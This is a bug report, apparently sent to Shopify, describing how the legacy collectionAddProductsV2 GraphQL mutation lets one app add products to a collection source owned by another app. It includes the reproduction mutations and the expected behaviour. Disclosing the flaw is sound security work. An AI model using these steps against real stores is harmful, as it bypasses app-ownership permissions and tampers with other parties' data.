Description
Using the now legacy mutation collectionAddProductsV2 any app can push product to a source it does not own.
Steps to reproduce
- Create an app owned source from app A and link it to a collection
mutation CollectionConditionsSourceCreate($input: CollectionCreateConditionsSourceInput!) {
collectionConditionsSourceCreate(input: $input) {
source { id }
userErrors { field message }
}
}
{
input: {
title: "title",
description: "description",
targetType: "PRODUCTS",
inclusion: {
matchType: "ANY",
conditions: [
{
productTag: {
relation: "TAGGED_WITH",
values: [
"some-tag",
],
matchType: "ANY",
},
},
],
},
},
}
Important: This app-owned source belongs to App A and has id gid://shopify/CollectionConditionsSource/1234 and it is attached to collection `gid://shopify/CollectionConditionsSource/5678`
- Try to add a product to the source from App B using the new source-based API
mutation CollectionConditionsSourceUpdate($input: CollectionUpdateConditionsSourceInput!) {
collectionConditionsSourceUpdate(input: $input) {
source { id }
userErrors { field message }
}
}
{
"input": {
"id": "gid://shopify/CollectionConditionsSource/1234",
"inclusion": {
"selectionsToAdd": [{ "productId": "gid://shopify/Product/9999"}]
}
}
}
As expected it returns error Source is not owned by this app
- Now try to push the same product to a collection that uses the source
1234using the legacy API. From App B run this query:
mutation collectionAddProductsV2($id: ID!, $productIds: [ID!]!) {
collectionAddProductsV2(id: $id, productIds: $productIds) {
job {
done
id
}
userErrors {
field
message
}
}
}
{
"id": "gid://shopify/Collection/5678",
"productIds": ["gid://shopify/Product/9999"]
}
It added a product to the source. In other terms App B was able to add a product to a source that belongs to App A despite not being allowed to do so.
Expected
The mutation collectionAddProductsV2 should not let an app pushing products to an app-owned source that it does not own.